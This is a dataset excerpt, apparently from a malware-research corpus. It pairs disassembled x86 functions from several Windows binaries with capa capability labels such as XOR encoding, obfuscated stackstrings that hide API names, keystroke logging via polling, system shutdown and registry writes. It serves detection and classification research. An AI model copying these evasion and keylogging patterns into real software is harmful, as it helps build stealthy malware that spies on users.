joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405950
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call fcn.0040598a
mov ax, word [esi + 2]
pop ecx
xor word [esi], ax
xor ecx, ecx
lea eax, [esi + 0x12]
mov edx, ecx
and edx, 3
mov edx, dword [esi + edx*4 + 2]
xor dword [eax], edx
inc ecx
add eax, 4
cmp ecx, 0xa
jb 0x405968
mov al, byte [esi + 0x10]
xor byte [esi + 0x3a], al
mov al, byte [esi + 0x11]
xor byte [esi + 0x3b], al
pop esi
ret

Function at 0x406378
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push edi
push 4
pop edi
lea eax, [ebp - 4]
push edi
push 0x4146f8
push eax
call fcn.00403619
mov esi, dword [ebp - 4]
push edi
lea eax, [ebp - 4]
push 0x4146e0
push eax
call fcn.00403619
mov eax, dword [ebp - 4]
push edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push 0x4146fc
push eax
call fcn.00403619
mov eax, dword [ebp - 4]
xor ebx, ebx
mov dword [ebp - 0x10], eax
push 0x14
lea eax, [ebp - 0x24]
push ebx
push eax
call fcn.004035ea
add esp, 0x30
cmp dword [ebp + 8], 1
push 0x10
jne 0x406403
lea eax, [ebp - 0x24]
push 0x4146a8
push eax
call fcn.00403619
add esp, 0xc
lea eax, [ebp - 0x24]
mov ecx, edi
xor dword [eax], 0x3dd17ea6
add eax, edi
dec ecx
jne 0x4063f2
mov byte [ebp - 0x14], 0x6c
jmp 0x40642c
lea eax, [ebp - 0x24]
push 0x4146b8
push eax
call fcn.00403619
add esp, 0xc
lea eax, [ebp - 0x24]
mov ecx, edi
xor dword [eax], 0x3dd17ea6
add eax, edi
dec ecx
jne 0x406419
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x6c
lea eax, [ebp - 0x24]
push eax
call esi
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x4064d1
mov esi, 0x41441c
push 0x100
push esi
push eax
call fcn.004066ae
add esp, 0xc
test eax, eax
jbe 0x406493
call fcn.0040652f
cmp eax, 3
je 0x40649d
cmp eax, edi
je 0x40649d
cmp eax, 5
je 0x40649d
cmp dword [0x41451c], 0xffffffff
jne 0x40649d
lea eax, [ebp - 0x28]
push eax
push ebx
push esi
push 0x40696b
push ebx
push ebx
call fcn.0040674a
add esp, 0x18
cmp dword [0x414418], ebx
mov dword [0x41451c], eax
jne 0x40649d
mov eax, 0xa816001f
jmp 0x40652a
push 1
lea esi, [ebp - 0xa0]
pop ebx
push ebx
push dword [ebp - 8]
call dword [ebp - 0x10]
test eax, eax
mov dword [esi], eax
je 0x4064cb
inc ebx
add esi, edi
cmp ebx, 0x1f
jb 0x4064a6
cmp dword [ebp + 8], 1
mov eax, dword [ebp - 0x34]
jne 0x4064d8
mov dword [0x41467c], eax
jmp 0x4064dd
push dword [ebp - 8]
call dword [ebp - 0xc]
mov eax, 0xa8160005
jmp 0x40652a
mov dword [0x414680], eax
push dword [ebp - 0x90]
call fcn.004067d7
test eax, eax
pop ecx
je 0x4064f4
mov eax, 0xa8160006
jmp 0x40652a
push dword [ebp - 0x50]
push dword [ebp - 0x48]
call fcn.004068a4
pop ecx
test eax, eax
pop ecx
je 0x40650c
mov eax, 0xa8160007
jmp 0x40652a
cmp dword [ebp + 8], 1
jne 0x40651e
mov dword [0x414674], 2
jmp 0x406528
mov dword [0x414678], 2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40652f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
push ebx
push esi
xor ebx, ebx
push 0x14
lea eax, [ebp - 0x14]
push ebx
push eax
call fcn.00406606
add esp, 0xc
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xa], 0x45
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0xe], 0x73
mov byte [ebp - 9], 0x78
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 8], 0x41
mov byte [ebp - 0x11], 0x56
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 7], bl
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xb], 0x6e
mov dword [ebp - 0xa8], 0x94
call fcn.00406635
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x14
lea eax, [ebp - 0x14]
push ebx
push eax
call fcn.00406606
add esp, 0xc
lea eax, [ebp - 0xa8]
push eax
call esi
test eax, eax
jne 0x4065cd
push 0x14
lea eax, [ebp - 0x14]
push ebx
push eax
call fcn.00406606
add esp, 0xc
xor eax, eax
jmp 0x406602
mov eax, dword [ebp - 0x98]
sub eax, ebx
je 0x4065ff
dec eax
je 0x4065df
dec eax
je 0x4065f1
jmp 0x4065c9
cmp dword [ebp - 0xa0], ebx
jne 0x4065eb
push 4
jmp 0x406601
jbe 0x4065f1
push 5
jmp 0x406601
cmp dword [ebp - 0xa4], 5
sbb eax, eax
add eax, 7
jmp 0x406602
push 3
pop eax
pop esi
pop ebx
leave
ret

Function at 0x406635
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.00406606
and byte [ebp - 8], 0
add esp, 0xc
cmp dword [0x414408], 1
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 0x14], 0x6b
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
jne 0x406697
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x414408], eax
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.00406606
mov eax, dword [0x414408]
add esp, 0xc
leave
ret

Function at 0x4066ae
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.00406606
and byte [ebp - 2], 0
add esp, 0xc
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 5], 0x6d
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 8], 0x65
mov byte [ebp - 4], 0x65
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0xe], 0x75
mov byte [ebp - 9], 0x6c
mov byte [ebp - 3], 0x41
mov byte [ebp - 0x11], 0x4d
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 7], 0x4e
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xb], 0x46
mov byte [ebp - 6], 0x61
call fcn.00406635
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.00406606
add esp, 0xc
test esi, esi
jne 0x40673c
push 1
pop eax
jmp 0x406747
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
pop esi
leave
ret
Function at 0x40674a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.00406606
and byte [ebp - 8], 0
add esp, 0xc
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xa], 0x61
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0xe], 0x54
mov byte [ebp - 9], 0x64
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0xd], 0x68
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xb], 0x65
call fcn.00406635
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.00406606
add esp, 0xc
test esi, esi
jne 0x4067c0
or eax, 0xffffffff
jmp 0x4067d4
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
pop esi
leave
ret
Function at 0x406bc8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.00406606
and byte [ebp - 8], 0
add esp, 0xc
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xa], 0x6f
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 9], 0x72
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0xd], 0x45
mov byte [ebp - 0x11], 0x4c
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0x10], 0x61
mov byte [ebp - 0xb], 0x72
call fcn.00406635
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.00406606
add esp, 0xc
test esi, esi
jne 0x406c3d
xor eax, eax
jmp 0x406c3f
call esi
pop esi
leave
ret

Function at 0x406c75
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.00406606
and byte [ebp - 9], 0
add esp, 0xc
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xa], 0x41
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0xe], 0x46
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xb], 0x65
call fcn.00406635
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.00406606
add esp, 0xc
test esi, esi
jne 0x406ce6
xor eax, eax
jmp 0x406cfd
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
pop esi
leave
ret

Function at 0x406d00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.00406606
and byte [ebp - 9], 0
add esp, 0xc
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0xf], 0x48
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0xc], 0x64
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xb], 0x6c
call fcn.00406635
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.00406606
add esp, 0xc
test esi, esi
jne 0x406d71
xor eax, eax
jmp 0x406d76
push dword [ebp + 8]
call esi
pop esi
leave
ret
Function at 0x100263f
Capabilities:
Shutdown system

Disassembly:
test byte [esp + 4], 2
jne 0x1002650
call fcn.01002613
cmp eax, 2
jne 0x100268e
test byte [esp + 4], 4
jne 0x1002673
push 4
push 0x40
push 0
push 0x1001251
push 0x522
push 0
call fcn.010038cc
cmp eax, 6
jne 0x100268e
cmp word [0x100aa64], 0
jne 0x1002689
push 0
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x100268e
call fcn.010018b5
ret 4

Function at 0x1002691
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [ebp + 8]
cmp dword [edi + 0x7c], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
jle 0x10027d0
mov dword [ebp - 0xc], ebx
jmp 0x10026b8

Function at 0x1002a34
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FindResourceA]
push edi
push 0xa
push dword [ebp + 8]
xor edi, edi
push edi
call esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
cmp ebx, dword [ebp + 0x10]
ja 0x1002a9d
cmp dword [ebp + 0xc], edi
je 0x1002a9d
cmp ebx, edi
je 0x1002a7d
push 0xa
push dword [ebp + 8]
push edi
call esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, edi
jne 0x1002a81
xor eax, eax
jmp 0x1002a9f
mov edi, dword [ebp + 0xc]
mov ecx, ebx
mov edx, ecx
shr ecx, 2
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x1002b34
Capabilities:
Create directory

Disassembly:
push edi
mov edi, dword [esp + 8]
mov cl, byte [edi]
test cl, cl
je 0x1002b99
push ebx
push esi
lea esi, [edi + 1]
mov al, byte [esi]
xor ebx, ebx
cmp al, 0x3a
jne 0x1002b57
cmp byte [edi + 2], 0x5c
jne 0x1002b57
lea esi, [edi + 3]
jmp 0x1002b92
cmp cl, 0x5c
jne 0x1002b92
cmp al, cl
jne 0x1002b92
push 2
lea esi, [edi + 2]
pop ebx
jmp 0x1002b92
cmp byte [esi], 0x5c
jne 0x1002b89
cmp byte [esi - 1], 0x3a
je 0x1002b89
test ebx, ebx
je 0x1002b7a
dec ebx
jmp 0x1002b89
and byte [esi], 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
cmp byte [esi], 0
jne 0x1002b68
pop esi
pop ebx
pop edi
ret 4
Function at 0x1002eaf
Capabilities:
Delete file
Set current directory
Set file attributes

Disassembly:
sub esp, 0x104
push ebp
push esi
mov esi, dword [0x100ac40]
xor ebp, ebp
cmp esi, ebp
push edi
mov edi, esi
je 0x1002f03
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [0x100b884], ebp
jne 0x1002ef2
cmp dword [0x100b490], ebp
jne 0x1002ef2
push 0x80
push dword [esi]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [edi]
mov esi, dword [esi + 4]
call ebx
push edi
call ebx
cmp esi, ebp
mov edi, esi
jne 0x1002ecd
pop ebx
cmp dword [0x100b880], ebp
je 0x1002f53
cmp dword [0x100b884], ebp
jne 0x1002f53
cmp dword [0x100b490], ebp
jne 0x1002f53
push 0x100ac44
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
test byte [0x100b494], 0x20
je 0x1002f3e
lea eax, [esp + 0xc]
push eax
call fcn.01005b71
push 0x1001284
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [esp + 0xc]
push eax
call fcn.01001c7f
cmp word [0x100aa64], 1
je 0x1002f6a
cmp dword [0x100b880], ebp
je 0x1002f6a
call fcn.01001946
pop edi
pop esi
mov dword [0x100b880], ebp
pop ebp
add esp, 0x104
ret

Function at 0x1002f7a
Capabilities:
Check if file exists
Create directory
Delete directory
Delete file
Get common file path
Get file attributes

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
mov esi, dword [esp + 0x118]
push edi
xor edi, edi
xor ebp, ebp
push edi
lea eax, [esp + 0x14]
push 0x1001348
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push dword [esp + 0x118]
inc edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x10]
push eax
push esi
call fcn.01005b32
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
je 0x1003015
cmp edi, 0x190
jl 0x1002f8f
push esi
push 0
push 0x1001344
push dword [esp + 0x124]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x1003006
xor ebp, ebp
push esi
inc ebp
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push esi
call ebx
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x104
ret 8
xor ebp, ebp
push ebp
push esi
call ebx
test eax, eax
je 0x1002fde
xor eax, eax
inc eax
mov dword [0x100b880], eax
mov ebp, eax
jmp 0x1003006
Function at 0x4010a0
Capabilities:
Encode data using base64

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [esp + 0x20]
mov eax, 0x55555556
xor ebp, ebp
imul esi
mov eax, edx
xor ebx, ebx
shr eax, 0x1f
add edx, eax
mov eax, esi
mov ecx, edx
mov esi, 3
cdq
idiv esi
test ecx, ecx
push edi
mov dword [esp + 0x14], edx
jle 0x4011ce
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
mov edi, dword [esp + 0x1c]
add edx, 0xfffffffc
mov dword [esp + 0x10], edx
mov dword [esp + 0x24], ecx
mov cl, byte [edi]
mov dl, byte [edi + 1]
inc edi
mov byte [esp + 0x20], cl
inc edi
mov byte [esp + 0x1c], dl
mov esi, dword [esp + 0x1c]
add ebx, 4
mov cl, byte [edi]
and esi, 0xff
mov byte [esp + 0x28], cl
mov ecx, dword [esp + 0x20]
and ecx, 0xff
inc edi
mov edx, ecx
and ecx, 3
shr edx, 2
shl ecx, 4
mov dl, byte [edx + 0x4355e8]
add ebp, 4
mov byte [eax], dl
mov edx, esi
shr edx, 4
or edx, ecx
inc eax
and esi, 0xf
inc eax
mov cl, byte [edx + 0x4355e8]
mov byte [eax - 1], cl
mov ecx, dword [esp + 0x28]
and ecx, 0xff
mov edx, ecx
and ecx, 0x3f
shr edx, 6
shl esi, 2
or edx, esi
inc eax
inc eax
mov dl, byte [edx + 0x4355e8]
mov byte [eax - 2], dl
mov cl, byte [ecx + 0x4355e8]
mov byte [eax - 1], cl
mov ecx, dword [esp + 0x10]
cmp ebx, ecx
jle 0x401184
mov byte [eax], 0x72
inc eax
xor ebx, ebx
mov byte [eax], 0x6e
inc eax
add ebp, 2
mov ecx, dword [esp + 0x24]
dec ecx
mov dword [esp + 0x24], ecx
jne 0x4010ec
mov edx, dword [esp + 0x14]
cmp edx, 1
jne 0x4011d8
mov dl, byte [edi]
mov byte [esp + 0x20], dl
mov ecx, dword [esp + 0x20]
and ecx, 0xff
mov edx, ecx
and ecx, 3
shr edx, 2
shl ecx, 4
mov dl, byte [edx + 0x4355e8]
mov byte [eax], dl
mov cl, byte [ecx + 0x4355e8]
inc eax
mov byte [eax], cl
inc eax
mov byte [eax], 0x3d
jmp 0x40122f
mov eax, dword [esp + 0x20]
mov edi, dword [esp + 0x1c]
jmp 0x401197
cmp edx, 2
jne 0x401237
mov dl, byte [edi]
mov cl, byte [edi + 1]
mov byte [esp + 0x20], dl
mov byte [esp + 0x1c], cl
mov ecx, dword [esp + 0x20]
and ecx, 0xff
mov edx, ecx
and ecx, 3
shr edx, 2
shl ecx, 4
mov dl, byte [edx + 0x4355e8]
mov byte [eax], dl
mov edx, dword [esp + 0x1c]
and edx, 0xff
inc eax
mov esi, edx
shr esi, 4
or esi, ecx
inc eax
and edx, 0xf
mov cl, byte [esi + 0x4355e8]
mov byte [eax - 1], cl
mov dl, byte [edx*4 + 0x4355e8]
mov byte [eax], dl
inc eax
mov byte [eax], 0x3d
inc eax
add ebp, 4
mov byte [eax], 0
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 8
ret 0x10

Function at 0x401490
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret 4
Function at 0x402509
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x432708
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push esi
mov esi, ecx
push 0x446774
lea ecx, [esi + 0x5c]
call fcn.00429454
mov eax, dword [0x4423ec]
mov dword [esp + 8], eax
xor ebx, ebx
mov dl, 0x42
mov cl, 0x45
push ebx
push 1
mov byte [esp + 0x2e], dl
mov byte [esp + 0x22], dl
mov byte [esp + 0x26], dl
push ecx
mov byte [esp + 0x34], cl
mov byte [esp + 0x3e], cl
mov byte [esp + 0x41], cl
lea edx, [esp + 0x24]
mov al, 0x49
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
mov dword [esp + 0x54], ebx
mov byte [esp + 0x34], al
mov byte [esp + 0x35], 0x48
mov byte [esp + 0x37], 0x4d
mov byte [esp + 0x39], 0x4b
mov byte [esp + 0x3a], al
mov byte [esp + 0x3b], 0x41
mov byte [esp + 0x3c], 0x46
mov byte [esp + 0x3d], 0x54
mov byte [esp + 0x3e], 0x44
mov byte [esp + 0x3f], 0x4a
mov byte [esp + 0x40], 0x43
mov byte [esp + 0x41], al
mov byte [esp + 0x43], 0x54
mov byte [esp + 0x44], 0x48
mov byte [esp + 0x46], 0x47
mov byte [esp + 0x47], 0x58
mov byte [esp + 0x48], bl
mov byte [esp + 0x28], al
mov byte [esp + 0x29], 0x48
mov byte [esp + 0x2b], 0x4d
mov byte [esp + 0x2c], 0x41
mov byte [esp + 0x2d], 0x53
mov byte [esp + 0x2f], 0x51
mov byte [esp + 0x30], bl
call fcn.00429339
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x14]
push eax
call fcn.004038e0
mov ecx, eax
mov byte [esp + 0x48], 1
call fcn.00402660
push eax
push 1
push ecx
lea edx, [esp + 0x34]
mov ecx, esp
mov dword [esp + 0x24], esp
push edx
call fcn.00429339
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x18]
push eax
call fcn.004038e0
mov ecx, eax
mov byte [esp + 0x4c], 2
call fcn.00402660
push eax
mov ecx, esi
call fcn.0042770f
mov byte [esp + 0x44], 1
lea ecx, [esp + 0xc]
call fcn.004292cb
lea ecx, [esp + 0x10]
mov byte [esp + 0x44], bl
call fcn.004292cb
lea ecx, [esp + 8]
mov dword [esp + 0x44], 0xffffffff
call fcn.004292cb
mov ecx, dword [esp + 0x3c]
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x40
ret
Function at 0x402a80
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x432788
push eax
mov al, byte [0x447e3c]
mov dword fs:[0], esp
sub esp, 0x10
test al, al
push esi
mov esi, ecx
jne 0x402ac7
mov eax, dword [esi + 0x1c]
push 0
push 0x1f4
push 1
push eax
call dword [sym.imp.USER32.dll_SetTimer]
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop esi
add esp, 0x1c
ret
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x402af3
mov ecx, dword [esi + 0x64]
push 0
push 0
push ecx
mov ecx, esi
call fcn.0042770f
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop esi
add esp, 0x1c
ret
mov edx, dword [0x4423ec]
mov dword [esp + 4], edx
mov esi, dword [esi + 0x64]
mov al, 0x69
mov byte [esp + 0xe], al
mov byte [esp + 0x10], al
lea eax, [esp + 0xc]
push esi
push eax
mov ecx, 0x44692c
mov dword [esp + 0x24], 0
mov byte [esp + 0x14], 0x24
mov byte [esp + 0x15], 0x6a
mov byte [esp + 0x17], 0x71
mov byte [esp + 0x19], 0x6d
mov byte [esp + 0x1a], 0x61
mov byte [esp + 0x1b], 0
call fcn.00423c84
push ecx
mov ecx, esp
mov dword [esp + 0xc], esp
push 0x44692c
call fcn.00429040
lea ecx, [esp + 8]
call fcn.00403a60
lea ecx, [esp + 4]
mov dword [esp + 0x1c], 0xffffffff
call fcn.004292cb
mov ecx, dword [esp + 0x14]
pop esi
mov dword fs:[0], ecx
add esp, 0x1c
ret

Function at 0x4030a0
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x432860
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push edi
lea eax, [esp + 4]
lea ecx, [esp + 0x1c]
push eax
push 0
mov dword [esp + 0x18], 1
call fcn.00429687
mov ecx, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 0x24]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov edx, dword [esp + 0x28]
push 1
push eax
mov eax, dword [esp + 0x14]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x1c]
mov byte [esp + 0x10], 0
call fcn.004292cb
lea ecx, [esp + 0x20]
mov dword [esp + 0x10], 0xffffffff
call fcn.004292cb
mov ecx, dword [esp + 8]
pop edi
mov dword fs:[0], ecx
add esp, 0x10
ret 0x10
Function at 0x403370
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x4328f7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [esp + 0x1c], 0
mov ebx, 1
mov al, 0x73
push 0x100
mov dword [esp + 0x34], ebx
mov byte [esp + 0x24], al
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x26], al
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x66
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2a], 0
call fcn.004252d2
mov esi, eax
mov ecx, 0x40
xor eax, eax
mov edi, esi
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x20]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x24], 0x100
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [esp + 0x3c]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
push esi
push eax
push 0
push ecx
push edx
call edi
test eax, eax
je 0x40347a
mov eax, dword [esp + 0x10]
push eax
call fcn.004252d2
add esp, 4
lea ecx, [esp + 0x10]
mov esi, eax
mov eax, dword [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x1c]
push esi
push edx
push 0
push eax
push ecx
call edi
test eax, eax
je 0x40347a
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.004252fb
mov esi, dword [esp + 0x3c]
add esp, 4
mov ecx, esi
push 0x446774
call fcn.00429339
mov dword [esp + 0x1c], ebx
jmp 0x4034c8
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x4423ec]
push esi
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x18]
call fcn.00429454
push esi
mov byte [esp + 0x34], 2
call fcn.004252fb
mov esi, dword [esp + 0x3c]
add esp, 4
lea edx, [esp + 0x14]
mov ecx, esi
push edx
call fcn.00429040
lea ecx, [esp + 0x14]
mov dword [esp + 0x1c], ebx
mov byte [esp + 0x30], bl
call fcn.004292cb
lea ecx, [esp + 0x3c]
mov byte [esp + 0x30], 0
call fcn.004292cb
mov ecx, dword [esp + 0x28]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret 8